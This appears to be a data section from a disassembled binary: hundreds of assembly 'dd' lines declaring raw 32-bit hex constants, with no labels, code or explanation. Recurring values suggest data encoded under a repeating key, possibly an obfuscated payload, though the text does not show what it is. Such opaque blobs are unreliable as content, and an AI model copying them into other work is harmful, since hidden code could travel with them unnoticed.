dd 0AB9E1851h, 0D408525Bh, 169F12F2h, 66B9B7h, 156EAD34h
dd 3B7B2232h, 7551AA91h, 0A8E52D44h, 13735007h, 89E22D33h
dd 0FC661131h, 15668839h, 0DFD708BAh, 4DB8B619h, 947BB550h
dd 0BFCC220Ch, 0DFE34B98h, 1A662232h, 156605BDh, 15696132h
dd 4B284432h, 6D573F2Eh, 0E8AEFDF9h, 0EF36494Eh, 11DC1680h
dd 94662232h, 214A0CF4h, 94B0891Bh, 214A59DCh, 188F781Bh
dd 4A661132h, 0D533BF24h, 0F00B5FC9h, 0E5394047h, 15DF4067h
dd 9C668832h, 7BEF1DFFh, 1A067FCEh, 156617BBh, 15E48732h
dd 1A664432h, 156627B2h, 0DBE77732h, 0EC07232Eh, 11ED1362h
dd 11A2A316h, 4A661132h, 90697152h, 15664430h, 75077B63h
dd 7EA6A954h, 0A734D953h, 4FB3CC3Eh, 0D898E7CCh, 9DBBD4B2h
dd 0FC06D1DAh, 15664421h, 0A1962FB9h, 4E8DB383h, 0DABEC068h
dd 404FB88h, 1A97AB30h, 0FC07EA85h, 1566880Ch, 156DCF3Dh
dd 138F2232h, 14661132h, 0D8DD495Bh, 9E3114D8h, 0D1E70636h
dd 15661136h, 18E5876Dh, 75664432h, 0D5FBCCB3h, 940064A4h
dd 740FA0EBh, 155BAB5Ah, 3172AB32h, 0E5EEF984h, 9C347468h
dd 11A4C5D0h, 96662232h, 1E115D8h, 11EFD416h, 0D9DD2416h
dd 0AB0928B4h, 4B36CF2Fh, 0F8DB0B53h, 1460511Eh, 142CA63Dh
dd 0AD931132h, 34A6F29Eh, 0E1BFF61h, 0C6916FA3h, 0E6E7CAC5h
dd 3D63ADBDh, 0F6B797C5h, 0EC5ED1B3h, 0CD6773B8h, 138E4969h
dd 63BE7172h, 1A8F23D2h, 0CF661132h, 5143A4E2h, 31ACB451h
dd 1BEFABB8h, 0A8E5C376h, 137A0F50h, 1E24B32h, 75662232h
dd 9807E4CBh, 0EAFCBAFh, 14EF4B34h, 0ED662232h, 959EC2CDh
dd 9169180Dh, 1566447Dh, 16E62D52h, 95661132h, 94001EC6h
dd 744196FCh, 4DDE7260h, 0E26F2B61h, 202EC8E2h, 0E3A3E890h
dd 143EE0BBh, 73064BE5h, 0C66C57B3h, 0FC07BCB9h, 1566238Dh
dd 1573953Dh, 58F8832h, 0D8664432h, 0B9456508h, 199E7BEBh
dd 509EA1ACh, 965F7226h, 976972CAh, 156611BAh, 156E013Dh
dd 1A064432h, 156622B2h, 7D007032h, 9C00991Ch, 85D5602Eh
dd 4E00FABAh, 156600DBh, 0FA564932h, 8EC4C584h, 805D0AEAh
dd 0BF5981A6h, 75CC68B4h, 7394FB3Dh, 74AFD78Dh, 464215B9h
dd 0D6E76BBBh, 15664436h, 9262E1B1h, 1A3A352Eh, 15668CB1h
dd 4B362432h, 1F8F8853h, 69661132h, 177EE79Bh, 451963B8h
dd 19EB2D1Ah, 1A661132h, 15668EB2h, 15E34B32h, 0FC662232h
dd 156611BEh, 1567043Dh, 0EC934432h, 4D4216CDh, 1562D5B3h
dd 9F698832h, 15664426h, 15662DDBh, 0E1672332h, 2A02BB9h
dd 0B9894263h, 63FAEA37h, 6AE6E898h, 906961CDh, 15664466h
dd 156632DBh, 5200ED32h, 8887ECADh, 10274E47h, 90734F39h
dd 77DB92FAh, 156094B5h, 1571C03Dh, 43062232h, 15669F3Dh
dd 73388832h, 980793B9h, 0EAE68AFh, 0C699E434h, 311DE0CAh
dd 19EF4432h, 15629B16h, 0EC671132h, 753F89BAh, 7391CF54h
dd 74A5BF88h, 0CEB94B9h, 9E698E27h, 1566443Ah, 1564AB3Dh
dd 74061132h, 156A093Dh, 92694432h, 15662234h, 15669B3Dh
dd 0E5638832h, 3C5DEB65h, 45D874CAh, 94398113h, 0A858D8D4h
dd 7588C50Ch, 3C84C2FAh, 94064FC2h, 4E8BA3E2h, 0F7E72219h
dd 7D07167Ah, 156621A1h, 0A842A4BBh, 15664436h, 753BCA1Bh
dd 156605DBh, 7A22E932h, 2550F9BFh, 0BE757478h, 4F5FCBFFh
dd 0A599786Ch, 1CDE22FDh, 1ACD43D8h, 15661BB7h, 0E2EDE832h
dd 1566C93Dh, 0B8072232h
dd 1567933Dh, 479A8832h, 200A8F5Ah, 3172A90Eh, 9462D5B1h
dd 0DFF5BDF0h, 0E930CDF1h, 758FDB68h, 0ED99EEC9h, 1FF73DBBh
dd 469E4227h, 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h
dd 1EF7E16h, 150EE916h, 1A6688B2h, 156645B7h, 150CDE32h
dd 156617DBh, 0EF081232h, 0EA2C2C12h, 6D8787h, 94067134h
dd 0C87147DBh, 1569AD4Dh, 8EB12232h, 591264CDh, 0E9D70E4Fh
dd 683C1AD6h, 0AE004306h, 0EA073560h, 60D9A7h, 1DE24B34h
dd 1A662232h, 156613B9h, 9E07E832h, 9C376026h, 11A7A3D3h
dd 96661132h, 19E18CF3h, 93691816h, 15662239h, 4CA69052h
dd 95365BF8h, 9E0762F5h, 7F6FBFh, 0AC007134h, 0FDE69039h
dd 0AB3025C3h, 15662232h, 21ED20BBh, 11A20B16h, 0E6ED2252h
dd 0F966F5B3h, 46073E4Ch, 15668C89h, 9EBF4532h, 0D1E7062Eh
dd 15661136h, 156684DBh, 0D84D0D32h, 18362868h, 0DA5E7765h
dd 58EB0128h, 1A60512Bh, 156631BEh, 1568F832h, 3B458832h
dd 0B121F1BBh, 0A2C28ED2h, 0C2DD12E2h, 0EAA133DBh, 0A03024CDh
dd 0FC0779B7h, 15661120h, 0A69F636Ah, 89FB5A04h, 97930807h
dd 68BADD61h, 8A8FC3A4h, 0EC664418h, 1569CB52h, 710E1132h
dd 9DE933Ah, 0F6B61325h, 0DB8F660h, 58EB9A79h, 0FC609D2Bh
dd 1566443Ah, 98BA5ED0h, 5BA6736Eh, 19EDB9CDh, 11A2C716h
dd 0FCBCA952h, 15661126h, 321DB23Bh, 521ADFB4h, 0B8D7FB77h
dd 0B9AA529Eh, 67A4F5C2h, 4BEBCD53h, 0FC603EB5h, 15661126h
dd 0ED3D398Dh, 23C18085h, 75026288h, 0AF05176Fh, 52889BD9h
dd 41287CB3h, 90696E76h, 1566115Bh, 15668EDBh, 207BBC32h
dd 0EC2E7993h, 111E9054h, 9069A67Eh, 15664463h, 1567A93Dh
dd 7D9E1132h, 1566FCDBh, 4B4240BBh, 15662EDBh, 0D29A4B32h
dd 15327E01h, 9ECCE624h, 13DB777Bh, 94661132h, 8E1328F4h
dd 9488457Eh, 8E1382DCh, 9E9A4C7Eh, 769DB7h, 918FB834h
dd 1A662237h, 156619B1h, 9E00E832h, 0E6A5C4CCh, 607D4A53h
dd 11EF1132h, 9569D616h, 15664437h, 0DDED4452h, 58F7153h
dd 8B668832h, 7FF9899Ch, 7BE37BCh, 8C5A7751h, 1A419933h
dd 4307928Dh, 0E7EFE4BBh, 944225B9h, 15668CF6h, 1E14B32h
dd 0FC662232h, 1566113Dh, 0ADA0D223h, 0AA9F1B53h, 0F4B1F259h
dd 241C2BFCh, 156361FBh, 19234432h, 0B9EE3AE7h, 15799E3Dh
dd 96698832h, 1566442Bh, 156636DBh, 9FFA0D32h, 0C8443083h
dd 0E13751A3h, 0D2FA0E9h, 9F2462FEh, 155A7055h, 140FC03Dh
dd 299E2232h, 0DDE21E1Fh, 1A9977CDh, 156646B6h, 29074232h
dd 0A8E21E1Ch, 1A668832h, 156645B7h, 255ADB32h, 10E2933Dh
dd 75068832h, 1566C73Dh, 0A2692232h, 750770E8h, 746E57B2h
dd 93697D0Eh, 0EA99DDBDh, 1568F852h, 36B8832h, 237805A7h
dd 5AED0261h, 17E5B3ABh, 545AE9CEh, 102AC63Dh, 138F2232h
dd 0C0661132h, 0CDEC45E9h, 1A3C7813h, 0EA997CB4h, 1561F8CDh
dd 0C7998832h, 0C2D00954h, 1A391E05h, 0EA995BB6h, 9069E8CDh
dd 15664433h, 0D1A8A3CBh, 746A1619h, 9769E90Eh, 1566413Ch
dd 1561AD3Dh, 9C691132h, 15668833h, 1A1C78CEh, 0EA993CB4h
dd 0FC9EE8CDh, 15668CC0h, 156BAD52h, 7CC92232h, 0D43F8645h
dd 0A30816B9h, 1AF4C780h, 156620B3h, 749D9A32h, 15673765h
dd 0EF674432h, 1569CB6Dh, 25791132h, 7AB55CCFh, 0E8472550h
dd 0B2FD3D29h, 0CAED7125h, 0D08B47B3h, 2C0745C1h, 0B2E22DC0h
dd 1A661136h, 156691BCh, 1572AD32h, 53B42232h, 46F76203h
dd 13AE07F7h, 9B1EBAD2h, 3439FBC9h, 0AC3723A1h, 0EA9977CDh
dd 0EC3F8E33h, 1567AA3Dh, 47931132h, 0EA997788h, 4FB76DCDh
dd 1572CBCEh, 0E6471132h, 6EFEB465h, 68DB6EFFh, 0EB7E197Fh
dd 0BEDAA652h, 618FC3F6h, 7599BBCCh, 94B6A954h, 0BDB3FE9h
dd 909AE90Ch, 2EE24BFBh, 0FC662236h, 1566113Dh, 22C5420Bh
dd 9360C20Ah, 72F0E06h, 986F8938h, 44B187h, 13E74B34h
dd 75662232h, 0C03CA954h, 19EDDA53h, 11A2C516h, 1A662232h
dd 156619BCh, 0AE00E832h, 74067753h, 14EE2D53h, 0ED661132h
dd 9C6264B1h, 39E76026h, 686B4316h, 0D2E74E22h, 51B8553h
dd 156641DBh, 0DBD4C132h, 45379337h, 0F1E6A386h, 4882C467h
dd 9582E6B2h, 0E1E6BEFEh, 4D87003Dh, 0E4E68DCCh, 4CAEAAC3h
dd 156616DBh, 7971B332h, 3F3A5198h, 0E99B579Ch, 0CCD847C7h
dd 3C50A57Ch, 0EC4F1AC3h, 5BBFE3B3h, 0A106271Fh, 158809CFh
dd 742E051Ch, 156DCA52h, 0ECF51132h, 9145D7F9h, 6EE595DAh
dd 4A0742FCh, 0D798BE8Ah, 0EA37E927h, 191603Eh, 93697B16h
dd 15661138h, 15668DDBh, 71E20B32h, 0AD36FF46h, 1C194B8Ah
dd 386260F3h, 6FA76489h, 10579F07h, 3B063472h, 0F5A79E2Ah
dd 59117134h, 0D24F1313h, 94A9386Ah, 3D3AFFF5h, 156FAD07h
dd 40BA2232h, 0B085C855h, 0ED931F71h, 118AC565h, 9C662232h
dd 4B393506h, 156699DBh, 0E4F5732h, 38AA70D9h, 9B2C0915h
dd 7CFFDC07h, 0B1956ABBh, 1560A23Dh, 75061132h, 74953853h
dd 0D50BF462h, 184A21DAh, 9E9956BAh, 0D1E7AC36h, 15664436h
dd 156624DBh, 193AE632h, 982DB090h, 447DA7h, 1DEB2D34h
dd 1A661132h, 15668ABDh, 9E072432h, 62A3B7h, 156EF834h
dd 67DF8832h, 533B6407h, 0D5E35638h, 1559943Dh, 0D3938832h
dd 6F81B7h, 9B696534h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h
dd 4E3387h, 1576F834h, 0E5168832h, 88189943h, 796D3C0Eh
dd 0F2AEB70Ch, 90EB4831h, 137E368Eh, 75B6DDCAh, 0ECED77CAh
dd 0F6EFDB53h, 156287B3h, 0FEE72232h, 15661136h, 494294B5h
dd 754250BBh, 156629DAh, 0A087DD32h, 9B9E449Dh, 6E16F49h
dd 5486A354h, 749E4BA7h, 0FC0658CDh, 15664421h, 0F189AC16h
dd 7F2997D1h, 26C4612Ch, 495403D1h, 0FCE1660Bh, 1566113Dh
dd 0E6443651h, 84675D1Ch, 2819C8E3h, 747A58DCh, 16EA8752h
dd 1A664432h, 9469E185h, 15661131h, 746A69B2h, 906984B7h
dd 15662311h, 156618DBh, 0E9A55532h, 58B30F2Ch, 18F9011h
dd 3B661132h, 37F95D3Fh, 0A89503B8h, 8A3F8F3Eh, 0A8528C34h
dd 9E7777A5h, 6191B7h, 0D5E3DE34h, 150C943Dh, 0A1068832h
dd 156AADFEh, 0B8E42232h, 46C5974Dh, 598CA44Dh, 0D307A829h
dd 6FE7B7h, 91695D34h, 15668820h, 156649DBh, 7879FF32h
dd 58997293h, 1E2E2B87h, 0FC0E9ED4h, 75BFF82Eh, 74919A54h
dd 3D773DCDh, 0ED934227h, 67DAA7BFh, 138F172Ah, 66668832h
dd 0FDF18453h, 75B6DD18h, 15609B3Dh, 0FAE78832h, 2EFDB31Ah
dd 0ED077A62h, 94819865h, 15668CF5h, 1189C532h, 92662232h
dd 9C3A350Eh, 78FAC26h, 0DB664432h, 6377AC1Ch, 0B8CB29D6h
dd 91D736A2h, 7FFEE164h, 1577CB03h, 37471132h, 0D584971Eh
dd 0E341AFFCh, 3D81E5C2h, 0EAE22122h, 10E687E2h, 75664432h
dd 74BEA9C7h, 9069D1B7h, 15668819h, 0FFE72252h, 0FC063C41h
dd 15661138h, 0AED94172h, 97E1A0E1h, 0AA69910Fh, 0FC0770CDh
dd 156688E0h, 0D3ED2252h, 0A774CBB3h, 9C071134h, 9E1D6B7h
dd 0C7E62434h, 0F2D944EFh, 9C37700Fh, 11A709D3h, 94664432h
dd 156626DBh, 316A9632h, 3162016Eh, 156FADCEh, 11C72232h
dd 0C913C626h, 46EAC586h, 0D6E7A7BBh, 15662236h, 9262FAB1h
dd 9C3AAC2Eh, 48F6006h, 0A9662232h, 64172DCCh, 7F39B45Eh
dd 67C29FCh, 5EF431DDh
dd 995994BFh, 0FC068E2Ah, 15664423h, 88BB545Ah, 0DAEE7E6Bh
dd 0F3D91658h, 4648C974h, 0D6DC44EAh, 0C599703Dh, 1567083Dh
dd 1E9F4432h, 0EE32DF2h, 0ED661132h, 15610F3Dh, 93694432h
dd 15662233h, 1542F8CEh, 73068832h, 50609DB3h, 51EF43CAh
dd 68F0D16h, 0D0668832h, 955B158Eh, 0CC6C5FDAh, 8C30C5Ah
dd 189E2972h, 7507385Dh, 1A77EBB2h, 156613BDh, 74123F32h
dd 0D7ED24F1h, 3AB00E89h, 1E8F703Ch, 28668832h, 8F7E131Dh
dd 0C9BF043Dh, 1A06640Ah, 156689B0h, 98EDBC32h, 137AA56Ch
dd 1561943Dh, 91698832h, 15664433h, 49704ACBh, 11EF1132h
dd 14E88716h, 0ED664432h, 42ABAB67h, 0EDEFFEBBh, 4693D56Dh
dd 15667889h, 14A5A332h, 1429A342h, 148D09F1h, 1629F642h
dd 7D9E7931h, 1566114Fh, 0AC4284BBh, 156644BAh, 4EDE333h
dd 80EFE46Bh, 13738527h, 0F6DD17CAh, 94086122h, 8A3ED3F1h
dd 0F6E7CB25h, 65C0F45h, 43A1C1B3h, 0E6E74B14h, 5A36E36Ah
dd 3F00FC62h, 0D64F6D40h, 4EBE106Ah, 9EA40352h, 0F50E25E8h
dd 9C662233h, 19DD352Eh, 14668832h, 4E75CFF1h, 156631DBh
dd 4A2F1232h, 2390FD23h, 206CA5C9h, 6918C1Ah, 5D5C3548h
dd 214B1DBBh, 0E09F4227h, 434226B9h, 0D3E7F7BBh, 15668836h
dd 926282B1h, 0FC3A0606h, 15661134h, 0C2C4ADE8h, 61998D71h
dd 11ED0616h, 11A29216h, 156E083Dh, 98694432h, 15662230h
dd 8B637052h, 10637156h, 1B316D03h, 244BEA1Bh, 3868461Bh
dd 109FECACh, 1561C93Dh, 42062232h, 0EED11E6Dh, 38E3B353h
dd 1A605106h, 156664B0h, 9E9A7132h, 2E9EE9C8h, 6B51B7h
dd 21E52D34h, 1A661132h, 156689BCh, 1A07B832h, 156626B2h
dd 89D77132h, 15624A53h, 157FC73Dh, 18F2232h, 0A3661132h
dd 0CDFD2AB3h, 81F37F1Ah, 93CC1DA2h, 4ACC6FD2h, 74657EFAh
dd 316283CAh, 5C787577h, 944205C5h, 76CEAC36h, 21E71534h
dd 0AB3C4316h, 3162906Eh, 4FF9C57h, 944240CDh, 111F0606h
dd 39E704BEh, 83465816h, 314AC531h, 60AB6F72h, 9A909052h
dd 734F4DA8h, 75078BB9h, 4307E5B9h, 67297961h, 943DD272h
dd 204D51C1h, 4F8DA361h, 9C6F646Bh, 61EFD3ECh, 1A384C16h
dd 156632BEh, 156DF832h, 0E3998832h, 0BB6B758Ah, 0FA137230h
dd 94DB4457h, 940E3825h, 7F7DB7C7h, 0EA8BA315h, 9499EECDh
dd 65144D7h, 828BC529h, 945E6F45h, 317ED5C7h, 7D930914h
dd 9C92A4A6h, 1A067FDAh, 156611BFh, 0D4E7D832h, 5AD192B0h
dd 98EB4368h, 13735EACh, 1567023Dh, 0EA9A4432h, 7506DBD3h
dd 0EDBFC489h, 7407395Fh, 156649DBh, 39E35332h, 0B4FC13BAh
dd 0BC1BC9A0h, 46340B5Ch, 0E4223489h, 5170AB10h, 0CF4FAAC3h
dd 9F944569h, 299F7830h, 78E21EDBh, 0FC668833h, 1566443Dh
dd 0AF7BE504h, 0A652FA57h, 71C915B1h, 758F9FC3h, 1A9DA954h
dd 2907D185h, 0A6E287DAh, 75664433h, 1563A43Dh, 94001132h
dd 9480A4DCh, 9E861CD5h, 1A5A4311h, 1505953Dh, 299A8832h
dd 0EDE24BFFh, 0E9662233h, 9169FA0Eh, 15668A5Eh, 156649DBh
dd 26445C32h, 0EB970051h, 6FFBCC2Dh, 9469A1BCh, 15662226h
dd 15661EDBh, 3A3F5532h, 0E1891A01h, 50A0D33Bh, 0C95F95E0h
dd 19E98753h, 0FC664432h, 15662235h, 846B8387h, 0D6911F17h
dd 156648DBh, 608A6432h, 4A4D6251h, 0AEE51971h, 14DF1565h
dd 14662232h, 15DE41C3h, 14668832h, 4D7ECEFAh, 1BEA2D6Bh
dd 75661132h, 9D0442B3h, 0CCE76541h, 65DE1464h, 4400E453h
dd 0FE467887h, 316ACF54h, 0FC64E6B1h, 1566113Ah, 353FCC59h
dd 0FC54A6A3h, 1AE6D9B2h, 0EA999EB7h, 0C6E7E8CDh, 30C613C0h
dd 1560A03Dh, 0DDE71132h, 5CF47F92h, 0AA692453h, 4307DAF8h
dd 96420DB9h, 0A6068CF6h, 463025ECh, 5A63B989h, 0D6E75A53h
dd 8BD6725Eh, 143D9ABBh, 48F7CC1h, 0C8661132h, 0C86ECEC9h
dd 0C1747F7Dh, 0A97FF12Ch, 9F2F4517h, 15643062h, 0C04B4432h
dd 14101424h, 3B314C2h, 0D65FE04h, 0C58FBD6Ah, 75662232h
dd 1563923Dh, 36DC8832h, 754F4B03h, 73AD953Dh, 7407DEB9h
dd 9467FECDh, 52306006h, 403D5FD2h, 0B36CF28Fh, 94B37F48h
dd 5B5AD4D7h, 94B3D501h, 0F8612FF7h, 6A30939h, 9470D50Bh
dd 0C32D34C7h, 488D206Eh, 25773652h, 9269182Bh, 15662236h
dd 4CD5AE54h, 0EE9D0B53h, 1459C03Dh, 9B692232h, 15661128h
dd 15766152h, 0F0044432h, 73CE706h, 4B98DFCFh, 298BF1FEh
dd 9E00EBFCh, 463043C5h, 2B49AE89h, 313AA17Bh, 943D1F36h
dd 2B499DF1h, 0AF34E47Bh, 15668833h, 1DD9AEB3h, 0E7672BC2h
dd 1DD9D3B3h, 0F6581C2h, 9C69BD68h, 15662233h, 10DE41CEh
dd 94668832h, 0C82C7AF1h, 94A52315h, 0C82C2FD9h, 0EC06D015h
dd 2DED8FB3h, 0FC0763C6h, 0EA99EF62h, 74BE0252h, 156FCA3Dh
dd 0AA062232h, 7E4AC83Fh, 1A07D161h, 75671A84h, 1565A73Dh
dd 0E4E61132h, 156061FCh, 0C644432h, 81C0301Fh, 1A8F7153h
dd 57668832h, 0F6BC2B49h, 942A5A6Eh, 1E68D7AAh, 1A060ECEh
dd 156644BFh, 74397032h, 3B8D9253h, 0E89C0C3Dh, 0FC06BBCDh
dd 15662239h, 6631615Ah, 6CA55CDh, 1A87C3EBh, 15662EB0h
dd 1561F832h, 978C8832h, 0F03D9830h, 5F8F4361h, 75661132h
dd 0A4375E8Ch, 0CBED2225h, 14E42D53h, 0ED661132h, 0EB67F6B2h
dd 0E8D0C13Dh, 4406DDCDh, 156619DAh, 0F9E7D032h, 0B7C620Ch
dd 1A3F7C2Bh, 156606B5h, 15776032h, 4C7E4432h, 9FD1AC6Eh
dd 0A50821E8h, 3E7B36F6h, 4A107663h, 0E963CB53h, 9E06EECDh
dd 157560E3h, 5D324432h, 90DEF830h, 0E51B6F8Fh, 9DC0F6F6h
dd 3EACF57Eh, 4A6595A6h, 3D267953h, 21EF8832h, 1569AD16h
dd 0BB0B2232h, 0D65B4390h, 456EEBAEh, 0B5947909h, 0CFE74230h
dd 7D203100h, 1090E053h, 19EF4432h, 14E02D16h, 0EC661132h
dd 94810165h, 156640F5h, 1189A132h, 49422DB5h, 754294BBh
dd 0D574FF54h, 1566A13Dh, 7D071132h, 15669EC0h, 0FC4278BBh
dd 1566223Fh, 5665C9BEh, 8D29AC67h, 0E47CDF26h, 0FCA61303h
dd 15661120h, 173DBB28h, 719699C9h, 9C949E22h, 6A607033h
dd 0FCCA5D0Bh, 1566443Fh, 0E464CB8Ch, 96FEA53Bh, 88E6F042h
dd 0D4EE15ECh, 19EDE9BAh, 11A29216h, 4700D9CBh, 0C4EE1780h
dd 0FCE67854h, 4CAD3151h, 659D08C7h, 105AC03Dh, 75062232h
dd 1566943Dh, 0E0E68832h, 29072592h, 0C2E22D3Dh, 0FC661132h
dd 15668834h, 9EE565DDh, 0FC5AC792h, 1F99953Dh, 91698832h
dd 15664435h, 1567A73Dh, 299A1132h, 0F9E287D9h, 1A66443Ch
dd 156620B5h, 75077132h, 156B6152h, 0A0FF4432h, 7A2A3C65h
dd 5E86ED7h, 741FF294h, 0F65A25CBh, 1677A63Dh, 1C8F1132h
dd 48668832h, 6FB4EFB0h, 0B89211FFh, 9169F30Eh, 156698B1h
dd 0E8ECB852h, 3152DD53h, 11A2926Dh, 15668FDBh, 19CC0932h
dd 0E95C6202h, 46420DB9h, 0D6E76BBBh, 15664436h, 1562E1B3h
dd 9E11132h, 138FD416h, 0D3664432h, 0D4DCD3A7h, 3152EED4h
dd 11A20B6Bh, 13E74BC7h, 75662232h, 3D39AF54h, 31527753h
dd 11A2C56Ch, 75662232h, 4C077163h, 0FC064B53h, 1566443Fh
dd 0D8C27061h, 0FDEBA19Fh, 0C0314A72h, 90A12503h, 137AAA1Ch
dd 15661134h, 15670F3Dh, 459A4432h, 1566228Ah, 25F21432h
dd 0E567B8D4h, 0F356D01Fh, 4D7EA802h, 73BC9A52h, 4C0857B3h
dd 45342253h, 0D9989C86h
dd 9DABFDB2h, 0C646D0D0h, 1A061E54h, 9400E085h, 74FBC0FDh
dd 1AE673B2h, 0EA9904B7h, 0AD36DACDh, 0EA99EECDh, 1A3E4E33h
dd 156645B9h, 90EDDE32h, 13731673h, 0D2E67052h, 80ED2535h
dd 13730403h, 156605DBh, 0E46C0D32h, 29900FB3h, 8B070B3Bh
dd 6922B1D6h, 84EF6A6Ch, 749A241Bh, 156C075Ah, 31529832h
dd 0F9E77D69h, 15664436h, 0AF4236BBh, 15661134h, 753C5B33h
dd 5DF36F8Dh, 930E437Ah, 9C66113Ah, 17DEAC36h, 14664432h
dd 4D7E21C2h, 1ABE2ACAh, 15669EB0h, 0CF5DBC32h, 0EBDDA43Dh
dd 9669EECDh, 15668835h, 1567CD3Dh, 479E2232h, 0F2E4788h
dd 0DFE7CA4Ch, 45DC3E42h, 0D7E7F0C5h, 2D890658h, 0D7E752C5h
dd 0E4CFA580h, 3C3CF133h, 0D58D90C9h, 0E051FD76h, 1560FC62h
dd 0D64F2232h, 944215B9h, 15668CF6h, 14E64B32h, 0E0662232h
dd 9769BC54h, 15668835h, 1567CA3Dh, 739F2232h, 1561F899h
dd 290F8832h, 8A5BB218h, 1572CBE8h, 51511132h, 27FF4C7h
dd 0B22E1B18h, 9D426248h, 66D0D058h, 0CD57419Eh, 0CD578703h
dd 420689CEh, 1566993Dh, 0E03F8832h, 11DE1453h, 94662232h
dd 0FA79F2F4h, 94A0896Fh, 0FA79A7DCh, 1A8F7A6Fh, 0F661132h
dd 0E06E6608h, 43E076Ah, 558314AAh, 1A065CABh, 0AC004B8Dh
dd 9C075D16h, 1A8F060Eh, 0AB661132h, 4B8115B9h, 0FA084DC9h
dd 0A7EC3DF6h, 61EFDF3Dh, 1A068416h, 156646B9h, 1A3F7132h
dd 156610BAh, 0FC077D32h, 15664420h, 2C2667AEh, 78C65292h
dd 0CCA0F53Eh, 0A29B218Eh, 0A0EFC401h, 13731743h, 15610F3Dh
dd 9A694432h, 15662233h, 1574F8C7h, 0B76B8832h, 2E310CDDh
dd 97E3C5E8h, 18F3DB71h, 3C42B7F8h, 4A4270CDh, 0FC62E6B1h
dd 15661138h, 52984E5h, 0D2300283h, 9ED73CFh, 0F6EF4216h
dd 15624BB3h, 0D6E54432h, 317AA536h, 1569F86Eh, 39F48832h
dd 3F45815Dh, 9CF49B81h, 986F59D3h, 31527795h, 11A2C76Bh
dd 1567A83Dh, 0EA931132h, 9438AC06h, 156640F6h, 1563CB32h
dd 47DA1132h, 449831F5h, 0D4E7A5BBh, 15662236h, 9262D0B1h
dd 31EDAC3Eh, 0E2ED2416h, 0CA91CB53h, 0D293EECDh, 9EEA6B7h
dd 15664634h, 94304232h, 772BCEE5h, 0C6EDD756h, 798A2C53h
dd 1EF2232h, 9C949816h, 9F69D2E1h, 1566443Ah, 1564AD3Dh
dd 74061132h, 75683E3Dh, 1ABCF33Dh, 156620B2h, 74077132h
dd 1AE671B2h, 156619B1h, 0AB30D732h, 6E320AD9h, 14387B1Bh
dd 0FEA5C5F9h, 751D7629h, 0D48D9054h, 4C9EDBFAh, 156BAD53h
dd 0DCD82232h, 1BF44D2Fh, 5C1DDC2Dh, 43E24C75h, 1566238Ch
dd 4B951032h, 17EE8752h, 0A7664432h, 0D7ED7341h, 108F7068h
dd 2D668832h, 370876CBh, 1566A9DBh, 949F7132h, 0E77546EBh
dd 0A734254Bh, 0BEACA2B1h, 0D520A063h, 0C49080DBh, 25CDB5B2h
dd 0C44E7BF8h, 1561F868h, 0B2418832h, 2D154691h, 9917360h
dd 316A9A16h, 15624CB3h, 42064432h, 4D97A954h, 0E508A58Dh
dd 0ED06E95Dh, 233EB4B3h, 4007302Eh, 1566EE8Fh, 9E8FA932h
dd 0D1E5601Eh, 1C8FDE36h, 0EF661132h, 0FC01EDBCh, 39E0EABBh
dd 1F80E1B3h, 0D6E73ED4h, 0F19F6ADh, 0FEE78F1Bh, 0F195CADh
dd 1F80FAB3h, 0ED06A7D4h, 74A9FB3Dh, 1227A7B9h, 90691727h
dd 1566883Eh, 1560CF3Dh, 9E692232h, 15661132h, 33571DB9h
dd 98694227h, 15662220h, 15661CDBh, 0D88432h, 0E1A5D1BAh
dd 0CC02F58Fh, 9369D5C0h, 15668833h, 44DBC7CBh, 1460372Ah
dd 11C2953Dh, 96698832h, 1566443Eh, 82DF4452h, 15E21EF8h
dd 74668832h, 9769870Bh, 156626B8h, 1AB528C7h, 0EA9DFCB0h
dd 1560ADCDh, 290A2232h, 78A87B6Dh, 1562F9DBh, 156CAD32h
dd 28FA2232h, 3A27450Fh, 5D7CE859h, 156AC63Dh, 73062232h
dd 4DE5F7B3h, 91A40954h, 90A12542h, 137AAA1Ch, 15661130h
dd 4369E0CEh, 21EF4432h, 9F067916h, 0DFED77F1h, 1BD08753h
dd 1567C43Dh, 959E2232h, 966991CBh, 1566886Eh, 1C8E1752h
dd 54662232h, 0EA6FDB4Dh, 2D7C78A1h, 749E1C6Ah, 4AAAC9B3h
dd 0FEE77B53h, 6762F306h, 0D6E78F33h, 67625906h, 4AAAD2B3h
dd 4793E253h, 0EA99BB88h, 4FB50BCDh, 156601DBh, 0CC107432h
dd 0C766747Eh, 91BB8503h, 6208D0C0h, 15A16130h, 108F4432h
dd 47662232h, 0EFB33751h, 3BD4DA61h, 9D5FAEB2h, 0D2E678E5h
dd 31819197h, 95EE7FB2h, 0E2E69CC5h, 0EB89A29Fh, 1A3DE81Ah
dd 15669FB0h, 1574AD32h, 4D412232h, 0BD2F63D7h, 511657B6h
dd 0DE1ABBFEh, 25BF60C2h, 15661CDBh, 30330232h, 0A2ABF2A1h
dd 0B01A63B1h, 0E4E19374h, 0E4E15EC5h, 1572AD73h, 1B062232h
dd 6A2BE88Fh, 898FD854h, 201034F3h, 50FBCFEh, 198FCEB9h
dd 39668832h, 34A9C1E0h, 0B908FD1h, 457DE4EFh, 483FA98Ah
dd 15674116h, 54432232h, 0D4219C49h, 144B8CD2h, 342691BDh
dd 108F7AF3h, 98661132h, 8704D7Ah, 3F55F967h, 942364B9h
dd 7F8DFFDFh, 488DA1D0h, 0D6E78F1Bh, 71461C74h, 54E39AC7h
dd 0FC609D35h, 15664434h, 60883324h, 80ED30AFh, 1373AE03h
dd 156CAD52h, 0B2762232h, 576A6D00h, 8DD3A86Fh, 15664FDBh
dd 777F6332h, 0E3ACBB29h, 9A71ACAFh, 44DBC753h, 1460372Ah
dd 17A2953Dh, 188F8832h, 51664432h, 0A3DC1656h, 3B3CF854h
dd 37AB8B10h, 97699C09h, 15662211h, 1561933Dh, 92698832h
dd 15664433h, 1AB51BCEh, 0EA9F99B4h, 156F61CDh, 0D1494432h
dd 238992EDh, 4359ED40h, 9E4284CDh, 0D1E76006h, 15662236h
dd 0A0919A52h, 4700E9D2h, 0E5EE2184h, 0FDA67854h, 19531536h
dd 21A676FBh, 12EF4BC1h, 75662232h, 9EF4CBB2h, 0FCCCE9F1h
dd 1566443Ah, 1602D345h, 1F86035Dh, 15663361h, 0E6674432h
dd 9ED29B8h, 11A29016h, 1A668832h, 15664CB5h, 97694232h
dd 15661132h, 0EBD3D953h, 0F0A681CCh, 1593A235h, 19EDF9BAh
dd 11A20916h, 1A664432h, 156623BFh, 0A334E932h, 95A87627h
dd 0CB903CDCh, 955AD4B2h, 0E3E60EC4h, 0D588582Ah, 0D3E64CD4h
